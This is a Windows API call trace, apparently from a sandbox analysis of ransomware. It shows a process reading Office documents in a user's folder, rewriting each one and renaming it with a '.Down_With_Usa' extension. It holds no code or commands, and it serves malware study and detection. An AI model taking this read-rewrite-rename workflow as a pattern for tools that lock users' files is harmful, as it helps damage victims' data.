[0118.043] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx", lpFilePart=0x0) returned 0x3c
[0118.043] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx.Down_With_Usa", lpFilePart=0x0) returned 0x4a
[0118.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.043] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3m9 j2mis-i26k3.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c6d45b0, ftCreationTime.dwHighDateTime=0x1d5601e, ftLastAccessTime.dwLowDateTime=0x90cde1a0, ftLastAccessTime.dwHighDateTime=0x1d57b8b, ftLastWriteTime.dwLowDateTime=0x22d5e720, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9d30)) returned 1
[0118.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.043] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3m9 j2mis-i26k3.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3M9 J2MIs-i26K3.xlsx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3m9 j2mis-i26k3.xlsx.down_with_usa")) returned 1
[0118.044] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx", lpFilePart=0x0) returned 0x35
[0118.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\awticahm.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.044] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x5a50
[0118.045] ReadFile (in: hFile=0x3a8, lpBuffer=0x26d6d48, nNumberOfBytesToRead=0x5a50, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26d6d48*, lpNumberOfBytesRead=0x2ebe58*=0x5a50, lpOverlapped=0x0) returned 1
[0118.076] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx", lpFilePart=0x0) returned 0x35
[0118.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\awticahm.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.079] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx", lpFilePart=0x0) returned 0x35
[0118.079] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx.Down_With_Usa", lpFilePart=0x0) returned 0x43
[0118.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.080] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\awticahm.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c6dc90, ftCreationTime.dwHighDateTime=0x1d57003, ftLastAccessTime.dwLowDateTime=0x93a3bdd0, ftLastAccessTime.dwHighDateTime=0x1d57f84, ftLastWriteTime.dwLowDateTime=0x22daa9e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5a60)) returned 1
[0118.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.080] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\awticahm.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\aWtiCahM.pptx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\awticahm.pptx.down_with_usa")) returned 1
[0118.081] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx", lpFilePart=0x0) returned 0x40
[0118.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ciaogiqfybwabk406mx.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.081] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x10683
[0118.081] ReadFile (in: hFile=0x3a8, lpBuffer=0x27e4a10, nNumberOfBytesToRead=0x10683, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27e4a10*, lpNumberOfBytesRead=0x2ebe58*=0x10683, lpOverlapped=0x0) returned 1
[0118.192] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx", lpFilePart=0x0) returned 0x40
[0118.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ciaogiqfybwabk406mx.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.201] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx", lpFilePart=0x0) returned 0x40
[0118.202] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx.Down_With_Usa", lpFilePart=0x0) returned 0x4e
[0118.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.202] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ciaogiqfybwabk406mx.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8321530, ftCreationTime.dwHighDateTime=0x1d5a4bc, ftLastAccessTime.dwLowDateTime=0x74f8a7c0, ftLastAccessTime.dwHighDateTime=0x1d5c1d7, ftLastWriteTime.dwLowDateTime=0x22eb5380, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x10690)) returned 1
[0118.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.202] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ciaogiqfybwabk406mx.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CiAOgIqfyBwAbK406MX.pptx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ciaogiqfybwabk406mx.pptx.down_with_usa")) returned 1
[0118.204] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx", lpFilePart=0x0) returned 0x35
[0118.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g1dqq3te.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.204] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xad2b
[0118.205] ReadFile (in: hFile=0x3a8, lpBuffer=0x2718a78, nNumberOfBytesToRead=0xad2b, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2718a78*, lpNumberOfBytesRead=0x2ebe58*=0xad2b, lpOverlapped=0x0) returned 1
[0118.297] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx", lpFilePart=0x0) returned 0x35
[0118.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.297] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g1dqq3te.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx", lpFilePart=0x0) returned 0x35
[0118.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx.Down_With_Usa", lpFilePart=0x0) returned 0x43
[0118.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.301] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g1dqq3te.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c43f50, ftCreationTime.dwHighDateTime=0x1d5c7d2, ftLastAccessTime.dwLowDateTime=0xce4c82f0, ftLastAccessTime.dwHighDateTime=0x1d5d484, ftLastWriteTime.dwLowDateTime=0x22f99bc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xad30)) returned 1
[0118.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.301] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g1dqq3te.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\g1DQq3TE.xlsx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\g1dqq3te.xlsx.down_with_usa")) returned 1
[0118.302] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx", lpFilePart=0x0) returned 0x33
[0118.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.303] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gbhinf.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.303] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x7a0c
[0118.303] ReadFile (in: hFile=0x3a8, lpBuffer=0x262bd38, nNumberOfBytesToRead=0x7a0c, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x262bd38*, lpNumberOfBytesRead=0x2ebe58*=0x7a0c, lpOverlapped=0x0) returned 1
[0118.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx", lpFilePart=0x0) returned 0x33
[0118.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gbhinf.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx", lpFilePart=0x0) returned 0x33
[0118.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx.Down_With_Usa", lpFilePart=0x0) returned 0x41
[0118.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gbhinf.docx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0638210, ftCreationTime.dwHighDateTime=0x1d55ec4, ftLastAccessTime.dwLowDateTime=0xd760d390, ftLastAccessTime.dwHighDateTime=0x1d59b00, ftLastWriteTime.dwLowDateTime=0x23032140, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7a10)) returned 1
[0118.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.359] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gbhinf.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gbhinf.docx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gbhinf.docx.down_with_usa")) returned 1
[0118.360] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx", lpFilePart=0x0) returned 0x3a
[0118.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.360] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h8ivmrdrudgkj.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.360] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0xa512
[0118.360] ReadFile (in: hFile=0x3a8, lpBuffer=0x27457d0, nNumberOfBytesToRead=0xa512, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x27457d0*, lpNumberOfBytesRead=0x2ebe58*=0xa512, lpOverlapped=0x0) returned 1
[0118.405] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx", lpFilePart=0x0) returned 0x3a
[0118.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h8ivmrdrudgkj.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx", lpFilePart=0x0) returned 0x3a
[0118.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0118.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.411] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h8ivmrdrudgkj.pptx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0c5ff0, ftCreationTime.dwHighDateTime=0x1d56afd, ftLastAccessTime.dwLowDateTime=0xa6f66e80, ftLastAccessTime.dwHighDateTime=0x1d5c5b8, ftLastWriteTime.dwLowDateTime=0x230a4560, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xa520)) returned 1
[0118.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0118.411] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h8ivmrdrudgkj.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\H8ivmRdRUdGkJ.pptx.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\h8ivmrdrudgkj.pptx.down_with_usa")) returned 1
[0118.413] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx", lpFilePart=0x0) returned 0x39
[0118.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0118.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\idfoi5o_3t4o.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0118.413] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x1379
[0118.413] ReadFile (in: hFile=0x3a8, lpBuffer=0x2663958, nNumberOfBytesToRead=0x1379, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2663958*, lpNumberOfBytesRead=0x2ebe58*=0x1379, lpOverlapped=0x0) returned 1
[0118.453] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx", lpFilePart=0x0) returned 0x39
[0118.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0118.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\idfoi5o_3t4o.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0118.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0118.457] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx", lpFilePart=0x0) returned 0x39
[0118.457] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx.Down_With_Usa", lpFilePart=0x0) returned 0x47
[0118.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0118.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\IDFOI5o_3T4O.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\idfoi5o_3t4o.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ebad40, ftCreationTime.dwHighDateTime=0x1d57ea4, ftLastAccessTime.dwLowDateTime=0xe6e60b20, ftLastAccessTime.dwHighDateTime=0x1d58145, ftLastWriteTime.dwLowDateTime=0x23116980, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1380)) returned 1
[0118.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
